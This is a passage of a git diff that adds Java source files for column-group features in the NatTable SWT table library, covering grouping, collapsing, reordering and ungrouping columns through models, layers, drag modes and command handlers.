+ * @return TRUE if the column group this index belongs to is collapsed + */ + public boolean isCollapsed(int bodyColumnIndex) { + if (isPartOfAGroup(bodyColumnIndex)) { + return getColumnGroupForIndex(bodyColumnIndex).collapsed; + } + return false; + } + + public boolean isCollapsed(String columnGroupName) { + boolean collpased = false; + if (nameToColumnGroup.containsKey(columnGroupName)) { + collpased = nameToColumnGroup.get(columnGroupName).collapsed; + } + return collpased; + } + + /** + * @return TRUE if a group by this name exists + */ + public boolean isAGroup(String cellValue) { + return nameToColumnGroup.containsKey(cellValue); + } + + /** + * @return Total number of columns hidden for all the collapsed columns. + * The first column is visible for each collapsed column. + */ + public int getCollapsedColumnCount() { + int count = 0; + + for (String groupName : nameToColumnGroup.keySet()) { + ColumnGroup columnGroup = nameToColumnGroup.get(groupName); + if (columnGroup.collapsed) { + count = count + columnGroup.getMemberCount() - 1; + } + } + return count; + } + + protected void collapse(int bodyColumnIndex) { + if (isPartOfAGroup(bodyColumnIndex)) { + getColumnGroupForIndex(bodyColumnIndex).collapsed = true; + } + notifyListeners(); + } + + protected void expand(int bodyColumnIndex) { + if (isPartOfAGroup(bodyColumnIndex)) { + getColumnGroupForIndex(bodyColumnIndex).collapsed = false; + } + notifyListeners(); + } + + /** + * @return TRUE if index successfully removed from its group. + */ + public boolean removeColumnFromGroup(int bodyColumnIndex) { + if (isPartOfAGroup(bodyColumnIndex) && !isPartOfAnUnbreakableGroup(bodyColumnIndex)) { + ColumnGroup group = getColumnGroupForIndex(bodyColumnIndex); + removeColumn(bodyColumnIndex, group); + notifyListeners(); + return true; + } + return false; + } + + private void removeColumn(int bodyColumnIndex, ColumnGroup group) { + final LinkedList members = group.members; + members.remove(Integer.valueOf(bodyColumnIndex)); + indexToColumnGroupName.remove(Integer.valueOf(bodyColumnIndex)); + if (members.size() == 0) { + nameToColumnGroup.remove(group.name); + } + notifyListeners(); + } + + /** + * @param columnIndex + * @return The position of the index within the column group + */ + public int getColumnGroupPositionFromIndex(int bodyColumnIndex) { + if (isPartOfAGroup(bodyColumnIndex)) { + ColumnGroup columnGroup = getColumnGroupForIndex(bodyColumnIndex); + return columnGroup.members.indexOf(Integer.valueOf(bodyColumnIndex)); + } + return -1; + } + + /** + * Toggle the expand/collapse state of the Column Group + */ + public ColumnGroup toggleColumnGroupExpandCollapse(int bodyColumnIndex) { + if (isPartOfAGroup(bodyColumnIndex)) { + ColumnGroup columnGroup = getColumnGroupForIndex(bodyColumnIndex); + columnGroup.collapsed = !columnGroup.collapsed; + notifyListeners(); + return columnGroup; + } + return null; + } + + // Unbreakable Groups + + /** + * If a group is marked as unbreakable, the composition of the group cannot be changed. + * Columns cannot be added or removed from the group. + * Columns may be reorder within the group. + * @return TRUE if the operation was successful. + * @see NTBL 393 + */ + public boolean setGroupUnBreakable(int bodyColumnIndex) { + if (isPartOfAGroup(bodyColumnIndex)) { + getColumnGroupForIndex(bodyColumnIndex).unbreakable = true; + return true; + } + return false; + } + + public boolean isPartOfAnUnbreakableGroup(int bodyColumnIndex) { + if (isPartOfAGroup(bodyColumnIndex)) { + return getColumnGroupForIndex(bodyColumnIndex).unbreakable; + } + return false; + } + + // *** Column Group *** + + public class ColumnGroup { + /** Body column indexes */ + private final LinkedList members = new LinkedList(); + final String name; + boolean collapsed = false; + public boolean unbreakable = false; + + ColumnGroup(String groupName) { + this.name = groupName; + } + + int getMemberCount(){ + return members.size(); + } + + public List getMembers() { + return members; + } + + @Override + public String toString() { + return "Column Group:\n\t name: " + name + + "\n\t collapsed: " + collapsed + + "\n\t unbreakable: " + unbreakable + + "\n\t members: " + ObjectUtils.toString(members) + "\n"; + } + } + + @Override + public String toString() { + StringBuffer buffer = new StringBuffer(); + buffer.append("Column Group Model:\n"); + + for (String groupName : nameToColumnGroup.keySet()) { + buffer.append(nameToColumnGroup.get(groupName)); + } + return buffer.toString(); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/ColumnGroupReorderLayer.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/ColumnGroupReorderLayer.java new file mode 100644 index 0000000..955112f --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/ColumnGroupReorderLayer.java @@ -0,0 +1,86 @@ +package net.sourceforge.nattable.group; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; + +import net.sourceforge.nattable.group.command.GroupColumnReorderCommandHandler; +import net.sourceforge.nattable.group.command.GroupMultiColumnReorderCommandHandler; +import net.sourceforge.nattable.group.command.ReorderColumnGroupCommandHandler; +import net.sourceforge.nattable.group.command.ReorderColumnsAndGroupsCommandHandler; +import net.sourceforge.nattable.layer.AbstractLayerTransform; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.IUniqueIndexLayer; +import net.sourceforge.nattable.reorder.command.MultiColumnReorderCommand; + +/** + * Adds functionality allowing the reordering of the the Column groups. + */ +public class ColumnGroupReorderLayer extends AbstractLayerTransform implements IUniqueIndexLayer { + + private IUniqueIndexLayer underlyingLayer; + + private final ColumnGroupModel model; + + public ColumnGroupReorderLayer(IUniqueIndexLayer underlyingLayer, ColumnGroupModel model) { + setUnderlyingLayer(underlyingLayer); + this.underlyingLayer = underlyingLayer; + this.model = model; + + registerCommandHandler(new ReorderColumnGroupCommandHandler(this)); + registerCommandHandler(new ReorderColumnsAndGroupsCommandHandler(this)); + registerCommandHandler(new GroupColumnReorderCommandHandler(this)); + registerCommandHandler(new GroupMultiColumnReorderCommandHandler(this)); + } + + public boolean reorderColumnGroup(int fromColumnPosition, int toColumnPosition) { + int fromColumnIndex = underlyingLayer.getColumnIndexByPosition(fromColumnPosition); + + List fromColumnPositions = getColumnGroupPositions(fromColumnIndex); + return underlyingLayer.doCommand(new MultiColumnReorderCommand(this, fromColumnPositions, toColumnPosition)); + } + + public ColumnGroupModel getModel() { + return model; + } + + @Override + public ILayer getUnderlyingLayer() { + return super.getUnderlyingLayer(); + } + + // Horizontal features + + // Columns + + public int getColumnPositionByIndex(int columnIndex) { + return underlyingLayer.getColumnPositionByIndex(columnIndex); + } + + // Vertical features + + // Rows + + public int getRowPositionByIndex(int rowIndex) { + return underlyingLayer.getRowPositionByIndex(rowIndex); + } + + // Column Groups + + /** + * @return the column positions for all the columns in this group + */ + public List getColumnGroupPositions(int fromColumnIndex) { + List fromColumnIndexes = model.getColumnIndexesInGroup(fromColumnIndex); + List fromColumnPositions = new ArrayList(); + + for (Integer columnIndex : fromColumnIndexes) { + fromColumnPositions.add( + Integer.valueOf(underlyingLayer.getColumnPositionByIndex(columnIndex.intValue()))); + } + //These positions are actually consecutive but the Column Group does not know about the order + Collections.sort(fromColumnPositions); + return fromColumnPositions; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/ColumnGroupUtils.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/ColumnGroupUtils.java new file mode 100644 index 0000000..a7ae291 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/ColumnGroupUtils.java @@ -0,0 +1,152 @@ +package net.sourceforge.nattable.group; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; + +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.IUniqueIndexLayer; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; + +public class ColumnGroupUtils { + + public static MoveDirectionEnum getMoveDirection(int fromColumnPosition, int toColumnPosition) { + if (fromColumnPosition > toColumnPosition){ + return MoveDirectionEnum.LEFT; + } else if(fromColumnPosition < toColumnPosition){ + return MoveDirectionEnum.RIGHT; + } else { + return MoveDirectionEnum.NONE; + } + } + + public static boolean isInTheSameGroup(int fromColumnIndex, int toColumnIndex, ColumnGroupModel model) { + String fromColumnGroupName = model.getColumnGroupNameForIndex(fromColumnIndex); + String toColumnGroupName = model.getColumnGroupNameForIndex(toColumnIndex); + + return fromColumnGroupName != null + && toColumnGroupName != null + && fromColumnGroupName.equals(toColumnGroupName); + } + + public static boolean isFirstVisibleColumnIndexInGroup(int columnIndex, ILayer layer, IUniqueIndexLayer underlyingLayer, ColumnGroupModel model){ + if (isColumnIndexHiddenInUnderLyingLayer(columnIndex, layer, underlyingLayer)) { + return false; + } + + int columnPosition = underlyingLayer.getColumnPositionByIndex(columnIndex); + List columnIndexesInGroup = model.getColumnIndexesInGroup(columnIndex); + List previousVisibleColumnIndexes = new ArrayList(); + + //All other indexes in the column group which are visible and + //are positioned before me + for (Integer currentIndex : columnIndexesInGroup) { + int currentPosition = underlyingLayer.getColumnPositionByIndex(currentIndex.intValue()); + if(!isColumnIndexHiddenInUnderLyingLayer(currentIndex.intValue(), layer, underlyingLayer) + && currentPosition < columnPosition){ + previousVisibleColumnIndexes.add(currentIndex); + } + } + + return previousVisibleColumnIndexes.isEmpty(); + } + + public static boolean isLastVisibleColumnIndexInGroup(int columnIndex, ILayer layer, IUniqueIndexLayer underlyingLayer, ColumnGroupModel model) { + if (isColumnIndexHiddenInUnderLyingLayer(columnIndex, layer, underlyingLayer)) { + return false; + } + + List visibleIndexesToTheRight = getVisibleIndexesToTheRight(columnIndex, layer, underlyingLayer, model); + return visibleIndexesToTheRight.size() == 1 && visibleIndexesToTheRight.get(0).intValue() == columnIndex; + } + + /** + * Inclusive of the columnIndex passed as the parameter. + */ + public static List getVisibleIndexesToTheRight(int columnIndex, ILayer layer, IUniqueIndexLayer underlyingLayer, ColumnGroupModel model){ + if(model.isCollapsed(columnIndex)){ + return Collections.emptyList(); + } + + List columnIndexesInGroup = model.getColumnIndexesInGroup(columnIndex); + int columnPosition = underlyingLayer.getColumnPositionByIndex(columnIndex); + List visibleColumnIndexesOnRight = new ArrayList(); + + for (Integer currentIndex : columnIndexesInGroup) { + int currentPosition = underlyingLayer.getColumnPositionByIndex(currentIndex.intValue()); + if(!isColumnIndexHiddenInUnderLyingLayer(currentIndex.intValue(), layer, underlyingLayer) + && currentPosition >= columnPosition){ + visibleColumnIndexesOnRight.add(currentIndex); + } + } + + return visibleColumnIndexesOnRight; + } + + public static boolean isColumnIndexHiddenInUnderLyingLayer(int columnIndex, ILayer layer, IUniqueIndexLayer underlyingLayer) { + return underlyingLayer.getColumnPositionByIndex(columnIndex) == -1; + } + + public static boolean isColumnPositionHiddenInUnderLyingLayer(int columnPosition, ILayer layer, IUniqueIndexLayer underlyingLayer) { + if (columnPosition < underlyingLayer.getColumnCount() && columnPosition >= 0) { + int columnIndex = underlyingLayer.getColumnIndexByPosition(columnPosition); + return isColumnIndexHiddenInUnderLyingLayer(columnIndex, layer, underlyingLayer); + } + return true; + } + + /** + * @see ColumnGroupUtilsTest + * @return TRUE if the given column is the right most column in a group + */ + public static boolean isRightEdgeOfAColumnGroup(ILayer natLayer, int columnPosition, int columnIndex, ColumnGroupModel model) { + int nextColumnPosition = columnPosition + 1; + + if (nextColumnPosition < natLayer.getColumnCount()) { + int nextColumnIndex = natLayer.getColumnIndexByPosition(nextColumnPosition); + if ((model.isPartOfAGroup(columnIndex) && !model.isPartOfAGroup(nextColumnIndex))) { + return true; + } + if ((model.isPartOfAGroup(columnIndex) && model.isPartOfAGroup(nextColumnIndex)) + && !ColumnGroupUtils.isInTheSameGroup(columnIndex, nextColumnIndex, model)) { + return true; + } + } + return false; + } + + /** + * @see ColumnGroupUtilsTest + * @return TRUE if the given column is the left most column in a group + */ + public static boolean isLeftEdgeOfAColumnGroup(ILayer natLayer, int columnPosition, int columnIndex, ColumnGroupModel model) { + int previousColumnPosition = columnPosition - 1; + + // First column && in a group + if(columnPosition == 0 && model.isPartOfAGroup(columnIndex)){ + return true; + } + + if (previousColumnPosition >= 0) { + int previousColumnIndex = natLayer.getColumnIndexByPosition(previousColumnPosition); + if ((model.isPartOfAGroup(columnIndex) && !model.isPartOfAGroup(previousColumnIndex))) { + return true; + } + if ((model.isPartOfAGroup(columnIndex) && model.isPartOfAGroup(previousColumnIndex)) + && !ColumnGroupUtils.isInTheSameGroup(columnIndex, previousColumnIndex, model)) { + return true; + } + } + return false; + } + + /** + * @return TRUE if there is a column group boundary between startX and endX + */ + public static boolean isBetweenTwoGroups(ILayer natLayer, int startX, int endX, ColumnGroupModel model) { + return !ColumnGroupUtils.isInTheSameGroup( + natLayer.getColumnIndexByPosition(natLayer.getColumnPositionByX(startX)), + natLayer.getColumnIndexByPosition(natLayer.getColumnPositionByX(endX)), + model); + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/IColumnGroupModelListener.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/IColumnGroupModelListener.java new file mode 100644 index 0000000..e198741 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/IColumnGroupModelListener.java @@ -0,0 +1,7 @@ +package net.sourceforge.nattable.group; + +public interface IColumnGroupModelListener { + + public void columnGroupModelChanged(); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/action/ColumnGroupExpandCollapseAction.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/action/ColumnGroupExpandCollapseAction.java new file mode 100644 index 0000000..deb2726 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/action/ColumnGroupExpandCollapseAction.java @@ -0,0 +1,16 @@ +package net.sourceforge.nattable.group.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.group.command.ColumnGroupExpandCollapseCommand; +import net.sourceforge.nattable.ui.action.IMouseAction; + +import org.eclipse.swt.events.MouseEvent; + +public class ColumnGroupExpandCollapseAction implements IMouseAction{ + + public void run(NatTable natTable, MouseEvent event) { + ColumnGroupExpandCollapseCommand command = new ColumnGroupExpandCollapseCommand(natTable, natTable.getColumnPositionByX(event.x)); + natTable.doCommand(command); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/action/ColumnGroupHeaderReorderDragMode.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/action/ColumnGroupHeaderReorderDragMode.java new file mode 100644 index 0000000..1b91143 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/action/ColumnGroupHeaderReorderDragMode.java @@ -0,0 +1,63 @@ +package net.sourceforge.nattable.group.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.group.ColumnGroupModel; +import net.sourceforge.nattable.group.ColumnGroupUtils; +import net.sourceforge.nattable.group.command.ReorderColumnGroupCommand; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.reorder.action.ColumnReorderDragMode; +import net.sourceforge.nattable.ui.action.IDragMode; +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.swt.events.MouseEvent; + +/** + * Default {@link IDragMode} invoked for 'left click + drag' on the column group header.
    + * + * It overrides the isValidTargetColumnPosition() to calculate if a destination position is valid + * for the column group to be reordered to.
    + * + * Example, a column group cannot only be reordered to be inside another column group. + * @see ColumnGroupHeaderReorderDragModeTest + */ +public class ColumnGroupHeaderReorderDragMode extends ColumnReorderDragMode { + + private final ColumnGroupModel model; + private MouseEvent event; + + public ColumnGroupHeaderReorderDragMode(ColumnGroupModel model) { + this.model = model; + } + + @Override + protected boolean isValidTargetColumnPosition(ILayer natLayer, int fromGridColumnPosition, int toGridColumnPosition, MouseEvent event) { + this.event = event; + toGridColumnPosition = natLayer.getColumnPositionByX(event.x); + return isValidTargetColumnPosition(natLayer, fromGridColumnPosition, toGridColumnPosition); + } + + /** + * Work off the event coordinates since the drag {@link ColumnReorderDragMode} adjusts the + * 'to' column positions (for on screen semantics) + */ + protected boolean isValidTargetColumnPosition(ILayer natLayer, int fromGridColumnPosition, int toGridColumnPosition) { + int toColumnIndex = natLayer.getColumnIndexByPosition(toGridColumnPosition); + + boolean betweenGroups = false; + if(event != null){ + int minX = event.x - GUIHelper.DEFAULT_RESIZE_HANDLE_SIZE; + int maxX = event.x + GUIHelper.DEFAULT_RESIZE_HANDLE_SIZE; + betweenGroups = ColumnGroupUtils.isBetweenTwoGroups(natLayer, minX, maxX, model); + } + + return (!model.isPartOfAGroup(toColumnIndex)) || betweenGroups; + } + + /** + * Fire a {@link ReorderColumnGroupCommand} for the column group + */ + @Override + protected void fireMoveCommand(NatTable natTable) { + natTable.doCommand(new ReorderColumnGroupCommand(natTable, dragFromGridColumnPosition, dragToGridColumnPosition)); + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/action/ColumnHeaderReorderDragMode.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/action/ColumnHeaderReorderDragMode.java new file mode 100644 index 0000000..f0670df --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/action/ColumnHeaderReorderDragMode.java @@ -0,0 +1,53 @@ +package net.sourceforge.nattable.group.action; + +import net.sourceforge.nattable.group.ColumnGroupModel; +import net.sourceforge.nattable.group.ColumnGroupUtils; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.reorder.action.ColumnReorderDragMode; +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.swt.events.MouseEvent; + +/** + * Extends the regular column drag functionality to work with Column groups.
    + * It does the following checks:
    + *
      + *
    1. Checks that the destination is not part of a Unbreakable column group
    2. + *
    3. Checks if the destination is between two adjoining column groups
    4. + *
    + */ +public class ColumnHeaderReorderDragMode extends ColumnReorderDragMode { + + private final ColumnGroupModel model; + private MouseEvent event; + + public ColumnHeaderReorderDragMode(ColumnGroupModel model) { + this.model = model; + } + + public boolean isValidTargetColumnPosition(ILayer natLayer, int fromGridColumnPosition, int toGridColumnPosition) { + int toColumnIndex = natLayer.getColumnIndexByPosition(toGridColumnPosition); + int fromColumnIndex = natLayer.getColumnIndexByPosition(fromGridColumnPosition); + + // Allow moving within the unbreakable group + if (model.isPartOfAnUnbreakableGroup(fromColumnIndex)){ + return ColumnGroupUtils.isInTheSameGroup(fromColumnIndex, toColumnIndex, model); + } + + boolean betweenTwoGroups = false; + if (event != null) { + int minX = event.x - GUIHelper.DEFAULT_RESIZE_HANDLE_SIZE; + int maxX = event.x + GUIHelper.DEFAULT_RESIZE_HANDLE_SIZE; + betweenTwoGroups = ColumnGroupUtils.isBetweenTwoGroups(natLayer, minX, maxX, model); + } + + return (!model.isPartOfAnUnbreakableGroup(toColumnIndex)) || betweenTwoGroups; + } + + @Override + public boolean isValidTargetColumnPosition(ILayer natLayer, int fromGridColumnPosition, int toGridColumnPosition, MouseEvent event) { + this.event = event; + toGridColumnPosition = natLayer.getColumnPositionByX(event.x); + return isValidTargetColumnPosition(natLayer, fromGridColumnPosition, toGridColumnPosition); + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/action/CreateColumnGroupAction.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/action/CreateColumnGroupAction.java new file mode 100644 index 0000000..0eb0ff7 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/action/CreateColumnGroupAction.java @@ -0,0 +1,21 @@ +package net.sourceforge.nattable.group.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.group.command.OpenCreateColumnGroupDialog; +import net.sourceforge.nattable.ui.action.IKeyAction; + +import org.eclipse.swt.events.KeyEvent; + +public class CreateColumnGroupAction implements IKeyAction { + + private OpenCreateColumnGroupDialog dialogCommand; + + public void run(NatTable natTable, KeyEvent event) { + if (dialogCommand == null) { + // Create dialog + dialogCommand = new OpenCreateColumnGroupDialog(natTable.getShell()); + } + natTable.doCommand(dialogCommand); + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/action/UngroupColumnsAction.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/action/UngroupColumnsAction.java new file mode 100644 index 0000000..001bd31 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/action/UngroupColumnsAction.java @@ -0,0 +1,14 @@ +package net.sourceforge.nattable.group.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.group.command.UngroupColumnCommand; +import net.sourceforge.nattable.ui.action.IKeyAction; + +import org.eclipse.swt.events.KeyEvent; + +public class UngroupColumnsAction implements IKeyAction { + + public void run(NatTable natTable, KeyEvent event) { + natTable.doCommand(new UngroupColumnCommand()); + } +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/ColumnGroupExpandCollapseCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/ColumnGroupExpandCollapseCommand.java new file mode 100644 index 0000000..ef9fb65 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/ColumnGroupExpandCollapseCommand.java @@ -0,0 +1,20 @@ +package net.sourceforge.nattable.group.command; + +import net.sourceforge.nattable.command.AbstractColumnCommand; +import net.sourceforge.nattable.layer.ILayer; + +public class ColumnGroupExpandCollapseCommand extends AbstractColumnCommand { + + public ColumnGroupExpandCollapseCommand(ILayer layer, int columnPosition) { + super(layer, columnPosition); + } + + protected ColumnGroupExpandCollapseCommand(ColumnGroupExpandCollapseCommand command) { + super(command); + } + + public ColumnGroupExpandCollapseCommand cloneCommand() { + return new ColumnGroupExpandCollapseCommand(this); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/ColumnGroupExpandCollapseCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/ColumnGroupExpandCollapseCommandHandler.java new file mode 100644 index 0000000..4ca960b --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/ColumnGroupExpandCollapseCommandHandler.java @@ -0,0 +1,48 @@ +package net.sourceforge.nattable.group.command; + +import java.util.ArrayList; +import java.util.List; + +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; +import net.sourceforge.nattable.group.ColumnGroupExpandCollapseLayer; +import net.sourceforge.nattable.group.ColumnGroupModel; +import net.sourceforge.nattable.group.ColumnGroupModel.ColumnGroup; +import net.sourceforge.nattable.hideshow.event.HideColumnPositionsEvent; +import net.sourceforge.nattable.hideshow.event.ShowColumnPositionsEvent; +import net.sourceforge.nattable.layer.event.ILayerEvent; + +public class ColumnGroupExpandCollapseCommandHandler extends AbstractLayerCommandHandler { + + private final ColumnGroupExpandCollapseLayer columnGroupExpandCollapseLayer; + + public ColumnGroupExpandCollapseCommandHandler(ColumnGroupExpandCollapseLayer columnGroupExpandCollapseLayer) { + this.columnGroupExpandCollapseLayer = columnGroupExpandCollapseLayer; + } + + public Class getCommandClass() { + return ColumnGroupExpandCollapseCommand.class; + } + + @Override + protected boolean doCommand(ColumnGroupExpandCollapseCommand command) { + int columnIndex = columnGroupExpandCollapseLayer.getColumnIndexByPosition(command.getColumnPosition()); + ColumnGroupModel model = columnGroupExpandCollapseLayer.getModel(); + boolean wasCollapsed = model.isCollapsed(columnIndex); + ColumnGroup columnGroup = model.toggleColumnGroupExpandCollapse(columnIndex); + + List columnPositions = new ArrayList(columnGroup.getMembers()); + columnPositions.remove(0); + + ILayerEvent event; + if (wasCollapsed) { + event = new ShowColumnPositionsEvent(columnGroupExpandCollapseLayer, columnPositions); + } else { + event = new HideColumnPositionsEvent(columnGroupExpandCollapseLayer, columnPositions); + } + + columnGroupExpandCollapseLayer.fireLayerEvent(event); + + return true; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/ColumnGroupsCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/ColumnGroupsCommandHandler.java new file mode 100644 index 0000000..bc2de65 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/ColumnGroupsCommandHandler.java @@ -0,0 +1,149 @@ +package net.sourceforge.nattable.group.command; + +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashMap; +import java.util.Iterator; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; + +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; +import net.sourceforge.nattable.group.ColumnGroupHeaderLayer; +import net.sourceforge.nattable.group.ColumnGroupModel; +import net.sourceforge.nattable.group.ColumnGroupUtils; +import net.sourceforge.nattable.group.event.GroupColumnsEvent; +import net.sourceforge.nattable.group.event.UngroupColumnsEvent; +import net.sourceforge.nattable.reorder.command.MultiColumnReorderCommand; +import net.sourceforge.nattable.selection.SelectionLayer; + +public class ColumnGroupsCommandHandler extends AbstractLayerCommandHandler { + + private final ColumnGroupModel model; + private final SelectionLayer selectionLayer; + private final ColumnGroupHeaderLayer contextLayer; + private Map columnIndexesToPositionsMap; + + public ColumnGroupsCommandHandler(ColumnGroupModel model, SelectionLayer selectionLayer, ColumnGroupHeaderLayer contextLayer) { + this.model = model; + this.selectionLayer = selectionLayer; + this.contextLayer = contextLayer; + } + + public boolean doCommand(IColumnGroupCommand command) { + if (command instanceof CreateColumnGroupCommand) { + if (columnIndexesToPositionsMap.size() > 0) { + handleGroupColumnsCommand(((CreateColumnGroupCommand)command).getColumnGroupName()); + columnIndexesToPositionsMap.clear(); + return true; + } + } else if (command instanceof OpenCreateColumnGroupDialog) { + OpenCreateColumnGroupDialog openDialogCommand = (OpenCreateColumnGroupDialog)command; + loadSelectedColumnsIndexesWithPositions(); + if (selectionLayer.getFullySelectedColumnPositions().length > 0 && columnIndexesToPositionsMap.size() > 0) { + openDialogCommand.openDialog(contextLayer); + } else { + openDialogCommand.openErrorBox("Please select non-grouped columns prior to creating a group."); + } + return true; + } else if (command instanceof UngroupColumnCommand) { + handleUngroupCommand(); + return true; + } + return false; + } + + public Class getCommandClass() { + return IColumnGroupCommand.class; + } + + protected void loadSelectedColumnsIndexesWithPositions() { + columnIndexesToPositionsMap = new LinkedHashMap(); + int[] fullySelectedColumns = selectionLayer.getFullySelectedColumnPositions(); + + if (fullySelectedColumns.length > 0) { + for (int index = 0; index < fullySelectedColumns.length; index++) { + final int columnPosition = fullySelectedColumns[index]; + int columnIndex = selectionLayer.getColumnIndexByPosition(columnPosition); + if (model.isPartOfAGroup(columnIndex)){ + columnIndexesToPositionsMap.clear(); + break; + } + columnIndexesToPositionsMap.put(Integer.valueOf(columnIndex), Integer.valueOf(columnPosition)); + } + + } + } + + public void handleGroupColumnsCommand(String columnGroupName) { + + try { + List selectedPositions = new ArrayList(); + int[] fullySelectedColumns = new int[columnIndexesToPositionsMap.size()]; + int count = 0; + for (Integer columnIndex : columnIndexesToPositionsMap.keySet()) { + fullySelectedColumns[count++] = columnIndex.intValue(); + selectedPositions.add(columnIndexesToPositionsMap.get(columnIndex)); + } + model.addColumnsIndexesToGroup(columnGroupName, fullySelectedColumns); + selectionLayer.doCommand(new MultiColumnReorderCommand(selectionLayer, selectedPositions, selectedPositions.get(0).intValue())); + selectionLayer.clear(); + } catch (Throwable t) { + } + contextLayer.fireLayerEvent(new GroupColumnsEvent(contextLayer)); + } + + public void handleUngroupCommand() { + // Grab fully selected column positions + int[] fullySelectedColumns = selectionLayer.getFullySelectedColumnPositions(); + Map toColumnPositions = new HashMap(); + if (fullySelectedColumns.length > 0) { + + // Pick the ones which belong to a group and remove them from the group + for (int index = 0; index < fullySelectedColumns.length; index++) { + final int columnPosition = fullySelectedColumns[index]; + int columnIndex = selectionLayer.getColumnIndexByPosition(columnPosition); + if (model.isPartOfAGroup(columnIndex) && !model.isPartOfAnUnbreakableGroup(columnIndex)){ + handleRemovalFromGroup(toColumnPositions, columnIndex); + } + } + // The groups which were affected should be reordered to the start position, this should group all columns together + Collection values = toColumnPositions.values(); + final Iterator toColumnPositionsIterator = values.iterator(); + while(toColumnPositionsIterator.hasNext()) { + Integer toColumnPosition = toColumnPositionsIterator.next(); + selectionLayer.doCommand(new ReorderColumnGroupCommand(selectionLayer, toColumnPosition.intValue(), toColumnPosition.intValue())); + } + selectionLayer.clear(); + } + + contextLayer.fireLayerEvent(new UngroupColumnsEvent(contextLayer)); + } + + private void handleRemovalFromGroup(Map toColumnPositions, int columnIndex) { + final String columnGroupName = model.getColumnGroupNameForIndex(columnIndex); + final List columnIndexesInGroup = model.getColumnIndexesInGroup(columnIndex); + final int columnGroupSize = columnIndexesInGroup.size(); + if (!toColumnPositions.containsKey(columnGroupName)) { + for (int colGroupIndex : columnIndexesInGroup) { + if (ColumnGroupUtils.isFirstVisibleColumnIndexInGroup(colGroupIndex, contextLayer, selectionLayer, model)) { + int toPosition = selectionLayer.getColumnPositionByIndex(colGroupIndex); + if (colGroupIndex == columnIndex) { + if (columnGroupSize == 1) { + break; + } else { + toPosition++; + } + } + toColumnPositions.put(columnGroupName, Integer.valueOf(toPosition)); + break; + } + } + } else { + if (columnGroupSize - 1 <= 0) { + toColumnPositions.remove(columnGroupName); + } + } + model.removeColumnFromGroup(columnIndex); + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/CreateColumnGroupCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/CreateColumnGroupCommand.java new file mode 100644 index 0000000..e8ad3bd --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/group/command/CreateColumnGroupCommand.java @@ -0,0 +1,17 @@ +package net.sourceforge.nattable.group.command; + +import net.sourceforge.nattable.command.AbstractContextFreeCommand; + +public class CreateColumnGroupCommand extends AbstractContextFreeCommand implements IColumnGroupCommand { + + private final String columnGroupName; + + public CreateColumnGroupCommand(String columnGroupName) { + this.columnGroupName = columnGroupName; + } + + public String getColumnGroupName() { + return columnGroupName; + } + +} diff --git 